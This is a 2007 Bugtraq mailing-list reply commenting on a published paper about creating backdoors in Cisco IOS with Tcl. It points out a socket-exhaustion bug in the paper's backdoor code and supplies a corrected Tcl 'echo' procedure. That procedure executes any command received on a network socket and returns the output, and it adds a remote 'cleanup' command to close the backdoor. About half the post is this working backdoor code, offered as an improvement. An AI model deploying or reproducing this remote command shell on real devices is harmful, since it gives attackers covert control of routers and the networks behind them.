Message-ID: <20071127174924.30733.qmail@securityfocus.com>
Date: 27 Nov 2007 17:49:24 -0000
From: michael@...verly.com
To: bugtraq@...urityfocus.com
Subject: Re: Creating Backdoors in Cisco IOS using Tcl

A quick comment on the TclShell source code (v0.1) included in http://www.irmplc.com/content/pdfs/Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf

The echo procedure fails to close the client socket on EOF.  This will cause the readable fileevent to trigger repeatedly consuming CPU and never freeing the socket.  As the Tcl interpreter on Cisco devices has a relatively small number of sockets (255 total system wide if memory serves) repeated connections to the backdoor would exhaust all available (to Tcl) sockets on the device effectively DoS'ing other Tcl scripts and probes running.

I'd recommend rewriting the echo proc as:

proc echo {sock} {
    global var

    if {[catch {gets $sock line}] || 
        [eof $sock]} {
        return [close $sock]
    }

    # allow a special command to "clean up"
    if {$line == "cleanup"} {
        set var done
        puts $sock "(closing backdoor...)"
        return [close $sock]
    }

    catch {exec $line} result
    if {[catch {puts $sock $result}]} {
        return [close $sock]
    }
}

The above version makes sure sockets are closed when they should be.  It also takes advantage of the "vwait var" already present in the script (which kicks off the event loop and allows incoming connections to be processed) and provides a method to remotely close the backdoor once it is no longer wanted. I suspect something like this was intended in the original version since the original echo proc calls "global var" despite never doing anything with the variable var afterwards.

Powered by blists - more mailing lists